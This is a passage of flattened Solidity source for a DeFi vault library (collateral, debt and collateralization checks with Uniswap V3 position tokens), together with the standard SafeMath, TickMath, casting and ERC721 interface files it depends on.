uint256(_vault.collateralAmount).add(_amount).toUint96(); } /** * @notice add uniswap position token collateral to a vault * @param _vault in-memory vault * @param _tokenId uniswap position token id */ function addUniNftCollateral(Vault memory _vault, uint256 _tokenId) internal pure { require(_vault.NftCollateralId == 0, "V1"); require(_tokenId != 0, "C23"); _vault.NftCollateralId = _tokenId.toUint32(); } /** * @notice remove eth collateral from a vault * @param _vault in-memory vault * @param _amount amount of eth to remove */ function removeEthCollateral(Vault memory _vault, uint256 _amount) internal pure { _vault.collateralAmount = uint256(_vault.collateralAmount).sub(_amount).toUint96(); } /** * @notice remove uniswap position token collateral from a vault * @param _vault in-memory vault */ function removeUniNftCollateral(Vault memory _vault) internal pure { require(_vault.NftCollateralId != 0, "V2"); _vault.NftCollateralId = 0; } /** * @notice add debt to vault * @param _vault in-memory vault * @param _amount amount of debt to add */ function addShort(Vault memory _vault, uint256 _amount) internal pure { _vault.shortAmount = uint256(_vault.shortAmount).add(_amount).toUint128(); } /** * @notice remove debt from vault * @param _vault in-memory vault * @param _amount amount of debt to remove */ function removeShort(Vault memory _vault, uint256 _amount) internal pure { _vault.shortAmount = uint256(_vault.shortAmount).sub(_amount).toUint128(); } /** * @notice check if a vault is properly collateralized * @param _vault the vault we want to check * @param _positionManager address of the uniswap position manager * @param _normalizationFactor current _normalizationFactor * @param _ethQuoteCurrencyPrice current eth price scaled by 1e18 * @param _minCollateral minimum collateral that needs to be in a vault * @param _wsqueethPoolTick current price tick for wsqueeth pool * @param _isWethToken0 whether weth is token0 in the wsqueeth pool * @return true if the vault is sufficiently collateralized * @return true if the vault is considered as a dust vault */ function getVaultStatus( Vault memory _vault, address _positionManager, uint256 _normalizationFactor, uint256 _ethQuoteCurrencyPrice, uint256 _minCollateral, int24 _wsqueethPoolTick, bool _isWethToken0 ) internal view returns (bool, bool) { if (_vault.shortAmount == 0) return (true, false); uint256 debtValueInETH = uint256(_vault.shortAmount).mul(_normalizationFactor).mul(_ethQuoteCurrencyPrice).div( ONE_ONE ); uint256 totalCollateral = _getEffectiveCollateral( _vault, _positionManager, _normalizationFactor, _ethQuoteCurrencyPrice, _wsqueethPoolTick, _isWethToken0 ); bool isDust = totalCollateral < _minCollateral; bool isAboveWater = totalCollateral.mul(CR_DENOMINATOR) >= debtValueInETH.mul(CR_NUMERATOR); return (isAboveWater, isDust); } /** * @notice get the total effective collateral of a vault, which is: * collateral amount + uniswap position token equivelent amount in eth * @param _vault the vault we want to check * @param _positionManager address of the uniswap position manager * @param _normalizationFactor current _normalizationFactor * @param _ethQuoteCurrencyPrice current eth price scaled by 1e18 * @param _wsqueethPoolTick current price tick for wsqueeth pool * @param _isWethToken0 whether weth is token0 in the wsqueeth pool * @return the total worth of collateral in the vault */ function _getEffectiveCollateral( Vault memory _vault, address _positionManager, uint256 _normalizationFactor, uint256 _ethQuoteCurrencyPrice, int24 _wsqueethPoolTick, bool _isWethToken0 ) internal view returns (uint256) { if (_vault.NftCollateralId == 0) return _vault.collateralAmount; // the user has deposited uniswap position token as collateral, see how much eth / wSqueeth the uniswap position token has (uint256 nftEthAmount, uint256 nftWsqueethAmount) = _getUniPositionBalances( _positionManager, _vault.NftCollateralId, _wsqueethPoolTick, _isWethToken0 ); // convert squeeth amount from uniswap position token as equivalent amount of collateral uint256 wSqueethIndexValueInEth = nftWsqueethAmount.mul(_normalizationFactor).mul(_ethQuoteCurrencyPrice).div( ONE_ONE ); // add eth value from uniswap position token as collateral return nftEthAmount.add(wSqueethIndexValueInEth).add(_vault.collateralAmount); } /** * @notice determine how much eth / wPowerPerp the uniswap position contains * @param _positionManager address of the uniswap position manager * @param _tokenId uniswap position token id * @param _wPowerPerpPoolTick current price tick * @param _isWethToken0 whether weth is token0 in the pool * @return ethAmount the eth amount this LP token contains * @return wPowerPerpAmount the wPowerPerp amount this LP token contains */ function _getUniPositionBalances( address _positionManager, uint256 _tokenId, int24 _wPowerPerpPoolTick, bool _isWethToken0 ) internal view returns (uint256 ethAmount, uint256 wPowerPerpAmount) { ( int24 tickLower, int24 tickUpper, uint128 liquidity, uint128 tokensOwed0, uint128 tokensOwed1 ) = _getUniswapPositionInfo(_positionManager, _tokenId); (uint256 amount0, uint256 amount1) = _getToken0Token1Balances( tickLower, tickUpper, _wPowerPerpPoolTick, liquidity ); return _isWethToken0 ? (amount0 + tokensOwed0, amount1 + tokensOwed1) : (amount1 + tokensOwed1, amount0 + tokensOwed0); } /** * @notice get uniswap position token info * @param _positionManager address of the uniswap position position manager * @param _tokenId uniswap position token id * @return tickLower lower tick of the position * @return tickUpper upper tick of the position * @return liquidity raw liquidity amount of the position * @return tokensOwed0 amount of token 0 can be collected as fee * @return tokensOwed1 amount of token 1 can be collected as fee */ function _getUniswapPositionInfo(address _positionManager, uint256 _tokenId) internal view returns ( int24, int24, uint128, uint128, uint128 ) { INonfungiblePositionManager positionManager = INonfungiblePositionManager(_positionManager); ( , , , , , int24 tickLower, int24 tickUpper, uint128 liquidity, , , uint128 tokensOwed0, uint128 tokensOwed1 ) = positionManager.positions(_tokenId); return (tickLower, tickUpper, liquidity, tokensOwed0, tokensOwed1); } /** * @notice get balances of token0 / token1 in a uniswap position * @dev knowing liquidity, tick range, and current tick gives balances * @param _tickLower address of the uniswap position manager * @param _tickUpper uniswap position token id * @param _tick current price tick used for calculation * @return amount0 the amount of token0 in the uniswap position token * @return amount1 the amount of token1 in the uniswap position token */ function _getToken0Token1Balances( int24 _tickLower, int24 _tickUpper, int24 _tick, uint128 _liquidity ) internal pure returns (uint256 amount0, uint256 amount1) { // get the current price and tick from wPowerPerp pool uint160 sqrtPriceX96 = TickMathExternal.getSqrtRatioAtTick(_tick); if (_tick < _tickLower) { amount0 = SqrtPriceMathPartial.getAmount0Delta( TickMathExternal.getSqrtRatioAtTick(_tickLower), TickMathExternal.getSqrtRatioAtTick(_tickUpper), _liquidity, true ); } else if (_tick < _tickUpper) { amount0 = SqrtPriceMathPartial.getAmount0Delta( sqrtPriceX96, TickMathExternal.getSqrtRatioAtTick(_tickUpper), _liquidity, true ); amount1 = SqrtPriceMathPartial.getAmount1Delta( TickMathExternal.getSqrtRatioAtTick(_tickLower), sqrtPriceX96, _liquidity, true ); } else { amount1 = SqrtPriceMathPartial.getAmount1Delta( TickMathExternal.getSqrtRatioAtTick(_tickLower), TickMathExternal.getSqrtRatioAtTick(_tickUpper), _liquidity, true ); } } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.7.5; pragma abicoder v2; import '@openzeppelin/contracts/token/ERC721/IERC721Metadata.sol'; import '@openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol'; import './IPoolInitializer.sol'; import './IERC721Permit.sol'; import './IPeripheryPayments.sol'; import './IPeripheryImmutableState.sol'; import '../libraries/PoolAddress.sol'; /// @title Non-fungible token for positions /// @notice Wraps Uniswap V3 positions in a non-fungible token interface which allows for them to be transferred /// and authorized. interface INonfungiblePositionManager is IPoolInitializer, IPeripheryPayments, IPeripheryImmutableState, IERC721Metadata, IERC721Enumerable, IERC721Permit { /// @notice Emitted when liquidity is increased for a position NFT /// @dev Also emitted when a token is minted /// @param tokenId The ID of the token for which liquidity was increased /// @param liquidity The amount by which liquidity for the NFT position was increased /// @param amount0 The amount of token0 that was paid for the increase in liquidity /// @param amount1 The amount of token1 that was paid for the increase in liquidity event IncreaseLiquidity(uint256 indexed tokenId, uint128 liquidity, uint256 amount0, uint256 amount1); /// @notice Emitted when liquidity is decreased for a position NFT /// @param tokenId The ID of the token for which liquidity was decreased /// @param liquidity The amount by which liquidity for the NFT position was decreased /// @param amount0 The amount of token0 that was accounted for the decrease in liquidity /// @param amount1 The amount of token1 that was accounted for the decrease in liquidity event DecreaseLiquidity(uint256 indexed tokenId, uint128 liquidity, uint256 amount0, uint256 amount1); /// @notice Emitted when tokens are collected for a position NFT /// @dev The amounts reported may not be exactly equivalent to the amounts transferred, due to rounding behavior /// @param tokenId The ID of the token for which underlying tokens were collected /// @param recipient The address of the account that received the collected tokens /// @param amount0 The amount of token0 owed to the position that was collected /// @param amount1 The amount of token1 owed to the position that was collected event Collect(uint256 indexed tokenId, address recipient, uint256 amount0, uint256 amount1); /// @notice Returns the position information associated with a given token ID. /// @dev Throws if the token ID is not valid. /// @param tokenId The ID of the token that represents the position /// @return nonce The nonce for permits /// @return operator The address that is approved for spending /// @return token0 The address of the token0 for a specific pool /// @return token1 The address of the token1 for a specific pool /// @return fee The fee associated with the pool /// @return tickLower The lower end of the tick range for the position /// @return tickUpper The higher end of the tick range for the position /// @return liquidity The liquidity of the position /// @return feeGrowthInside0LastX128 The fee growth of token0 as of the last action on the individual position /// @return feeGrowthInside1LastX128 The fee growth of token1 as of the last action on the individual position /// @return tokensOwed0 The uncollected amount of token0 owed to the position as of the last computation /// @return tokensOwed1 The uncollected amount of token1 owed to the position as of the last computation function positions(uint256 tokenId) external view returns ( uint96 nonce, address operator, address token0, address token1, uint24 fee, int24 tickLower, int24 tickUpper, uint128 liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, uint128 tokensOwed0, uint128 tokensOwed1 ); struct MintParams { address token0; address token1; uint24 fee; int24 tickLower; int24 tickUpper; uint256 amount0Desired; uint256 amount1Desired; uint256 amount0Min; uint256 amount1Min; address recipient; uint256 deadline; } /// @notice Creates a new position wrapped in a NFT /// @dev Call this when the pool does exist and is initialized. Note that if the pool is created but not initialized /// a method does not exist, i.e. the pool is assumed to be initialized. /// @param params The params necessary to mint a position, encoded as `MintParams` in calldata /// @return tokenId The ID of the token that represents the minted position /// @return liquidity The amount of liquidity for this position /// @return amount0 The amount of token0 /// @return amount1 The amount of token1 function mint(MintParams calldata params) external payable returns ( uint256 tokenId, uint128 liquidity, uint256 amount0, uint256 amount1 ); struct IncreaseLiquidityParams { uint256 tokenId; uint256 amount0Desired; uint256 amount1Desired; uint256 amount0Min; uint256 amount1Min; uint256 deadline; } /// @notice Increases the amount of liquidity in a position, with tokens paid by the `msg.sender` /// @param params tokenId The ID of the token for which liquidity is being increased, /// amount0Desired The desired amount of token0 to be spent, /// amount1Desired The desired amount of token1 to be spent, /// amount0Min The minimum amount of token0 to spend, which serves as a slippage check, /// amount1Min The minimum amount of token1 to spend, which serves as a slippage check, /// deadline The time by which the transaction must be included to effect the change /// @return liquidity The new liquidity amount as a result of the increase /// @return amount0 The amount of token0 to acheive resulting liquidity /// @return amount1 The amount of token1 to acheive resulting liquidity function increaseLiquidity(IncreaseLiquidityParams calldata params) external payable returns ( uint128 liquidity, uint256 amount0, uint256 amount1 ); struct DecreaseLiquidityParams { uint256 tokenId; uint128 liquidity; uint256 amount0Min; uint256 amount1Min; uint256 deadline; } /// @notice Decreases the amount of liquidity in a position and accounts it to the position /// @param params tokenId The ID of the token for which liquidity is being decreased, /// amount The amount by which liquidity will be decreased, /// amount0Min The minimum amount of token0 that should be accounted for the burned liquidity, /// amount1Min The minimum amount of token1 that should be accounted for the burned liquidity, /// deadline The time by which the transaction must be included to effect the change /// @return amount0 The amount of token0 accounted to the position's tokens owed /// @return amount1 The amount of token1 accounted to the position's tokens owed function decreaseLiquidity(DecreaseLiquidityParams calldata params) external payable returns (uint256 amount0, uint256 amount1); struct CollectParams { uint256 tokenId; address recipient; uint128 amount0Max; uint128 amount1Max; } /// @notice Collects up to a maximum amount of fees owed to a specific position to the recipient /// @param params tokenId The ID of the NFT for which tokens are being collected, /// recipient The account that should receive the tokens, /// amount0Max The maximum amount of token0 to collect, /// amount1Max The maximum amount of token1 to collect /// @return amount0 The amount of fees collected in token0 /// @return amount1 The amount of fees collected in token1 function collect(CollectParams calldata params) external payable returns (uint256 amount0, uint256 amount1); /// @notice Burns a token ID, which deletes it from the NFT contract. The token must have 0 liquidity and all tokens /// must be collected first. /// @param tokenId The ID of the token that is being burned function burn(uint256 tokenId) external payable; } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Math library for computing sqrt prices from ticks and vice versa /// @notice Computes sqrt price for ticks of size 1.0001, i.e. sqrt(1.0001^tick) as fixed point Q64.96 numbers. Supports /// prices between 2**-128 and 2**128 library TickMathExternal { /// @dev The minimum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**-128 int24 internal constant MIN_TICK = -887272; /// @dev The maximum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**128 int24 internal constant MAX_TICK = -MIN_TICK; /// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK) uint160 internal constant MIN_SQRT_RATIO = 4295128739; /// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK) uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342; /// @notice Calculates sqrt(1.0001^tick) * 2^96 /// @dev Throws if |tick| > max tick /// @param tick The input tick for the above formula /// @return sqrtPriceX96 A Fixed point Q64.96 number representing the sqrt of the ratio of the two assets (token1/token0) /// at the given tick function getSqrtRatioAtTick(int24 tick) public pure returns (uint160 sqrtPriceX96) { uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick)); require(absTick <= uint256(MAX_TICK), "T"); uint256 ratio = absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000; if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128; if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128; if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128; if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128; if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128; if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128; if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128; if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128; if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128; if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128; if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128; if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128; if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128; if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128; if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128; if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128; if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128; if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128; if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128; if (tick > 0) ratio = type(uint256).max / ratio; // this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96. // we then downcast because we know the result always fits within 160 bits due to our tick input constraint // we round up in the division so getTickAtSqrtRatio of the output price is always consistent sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1)); } /// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio /// @dev Throws in case sqrtPriceX96 < MIN_SQRT_RATIO, as MIN_SQRT_RATIO is the lowest value getRatioAtTick may /// ever return. /// @param sqrtPriceX96 The sqrt ratio for which to compute the tick as a Q64.96 /// @return tick The greatest tick for which the ratio is less than or equal to the input ratio function getTickAtSqrtRatio(uint160 sqrtPriceX96) external pure returns (int24 tick) { // second inequality must be < because the price can never reach the price at the max tick require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, "R"); uint256 ratio = uint256(sqrtPriceX96) << 32; uint256 r = ratio; uint256 msb = 0; assembly { let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(5, gt(r, 0xFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(4, gt(r, 0xFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(3, gt(r, 0xFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(2, gt(r, 0xF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(1, gt(r, 0x3)) msb := or(msb, f) r := shr(f, r) } assembly { let f := gt(r, 0x1) msb := or(msb, f) } if (msb >= 128) r = ratio >> (msb - 127); else r = ratio << (127 - msb); int256 log_2 = (int256(msb) - 128) << 64; assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(63, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(62, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(61, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(60, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(59, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(58, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(57, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(56, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(55, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(54, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(53, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(52, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(51, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(50, f)) } int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128); int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128); tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96 ? tickHi : tickLow; } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; import "@uniswap/v3-core/contracts/libraries/FullMath.sol"; import "@uniswap/v3-core/contracts/libraries/UnsafeMath.sol"; import "@uniswap/v3-core/contracts/libraries/FixedPoint96.sol"; /// @title Functions based on Q64.96 sqrt price and liquidity /// @notice Exposes two functions from @uniswap/v3-core SqrtPriceMath /// that use square root of price as a Q64.96 and liquidity to compute deltas library SqrtPriceMathPartial { /// @notice Gets the amount0 delta between two prices /// @dev Calculates liquidity / sqrt(lower) - liquidity / sqrt(upper), /// i.e. liquidity * (sqrt(upper) - sqrt(lower)) / (sqrt(upper) * sqrt(lower)) /// @param sqrtRatioAX96 A sqrt price /// @param sqrtRatioBX96 Another sqrt price /// @param liquidity The amount of usable liquidity /// @param roundUp Whether to round the amount up or down /// @return amount0 Amount of token0 required to cover a position of size liquidity between the two passed prices function getAmount0Delta( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity, bool roundUp ) external pure returns (uint256 amount0) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); uint256 numerator1 = uint256(liquidity) << FixedPoint96.RESOLUTION; uint256 numerator2 = sqrtRatioBX96 - sqrtRatioAX96; require(sqrtRatioAX96 > 0); return roundUp ? UnsafeMath.divRoundingUp( FullMath.mulDivRoundingUp(numerator1, numerator2, sqrtRatioBX96), sqrtRatioAX96 ) : FullMath.mulDiv(numerator1, numerator2, sqrtRatioBX96) / sqrtRatioAX96; } /// @notice Gets the amount1 delta between two prices /// @dev Calculates liquidity * (sqrt(upper) - sqrt(lower)) /// @param sqrtRatioAX96 A sqrt price /// @param sqrtRatioBX96 Another sqrt price /// @param liquidity The amount of usable liquidity /// @param roundUp Whether to round the amount up, or down /// @return amount1 Amount of token1 required to cover a position of size liquidity between the two passed prices function getAmount1Delta( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity, bool roundUp ) external pure returns (uint256 amount1) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); return roundUp ? FullMath.mulDivRoundingUp(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96) : FullMath.mulDiv(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96); } } //SPDX-License-Identifier: MIT pragma solidity =0.7.6; library Uint256Casting { /** * @notice cast a uint256 to a uint128, revert on overflow * @param y the uint256 to be downcasted * @return z the downcasted integer, now type uint128 */ function toUint128(uint256 y) internal pure returns (uint128 z) { require((z = uint128(y)) == y, "OF128"); } /** * @notice cast a uint256 to a uint96, revert on overflow * @param y the uint256 to be downcasted * @return z the downcasted integer, now type uint96 */ function toUint96(uint256 y) internal pure returns (uint96 z) { require((z = uint96(y)) == y, "OF96"); } /** * @notice cast a uint256 to a uint32, revert on overflow * @param y the uint256 to be downcasted * @return z the downcasted integer, now type uint32 */ function toUint32(uint256 y) internal pure returns (uint32 z) { require((z = uint32(y)) == y, "OF32"); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.7.5; pragma abicoder v2; /// @title Creates and initializes V3 Pools /// @notice Provides a method for creating and initializing a pool, if necessary, for bundling with other methods that /// require the pool to exist. interface IPoolInitializer { /// @notice Creates a new pool if it does not exist, then initializes if not initialized /// @dev This method can be bundled with others via IMulticall for the first action (e.g. mint) performed against a pool /// @param token0 The contract address of token0 of the pool /// @param token1 The contract address of token1 of the pool /// @param fee The fee amount of the v3 pool for the specified token pair /// @param sqrtPriceX96 The initial square root price of the pool as a Q64.96 value /// @return pool Returns the pool address based on the pair of tokens and fee, will return the newly created pool address if necessary function createAndInitializePoolIfNecessary( address token0, address token1, uint24 fee, uint160 sqrtPriceX96 ) external payable returns (address pool); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.7.5; import '@openzeppelin/contracts/token/ERC721/IERC721.sol'; /// @title ERC721 with permit /// @notice Extension to ERC721 that includes a permit function for signature based approvals interface IERC721Permit is IERC721 { /// @notice The permit typehash used in the permit signature /// @return The typehash for the permit function PERMIT_TYPEHASH() external pure returns (bytes32); /// @notice The domain separator used in the permit signature /// @return The domain seperator used in encoding of permit signature function DOMAIN_SEPARATOR() external view returns (bytes32); /// @notice Approve of a specific token ID for spending by spender via signature /// @param spender The account that is being approved /// @param tokenId The ID of the token that is being approved for spending /// @param deadline The deadline timestamp by which the call must be mined for the approve to work /// @param v Must produce valid secp256k1 signature from the holder along with `r` and `s` /// @param r Must produce valid secp256k1 signature from the holder along with `v` and `s` /// @param s Must produce valid 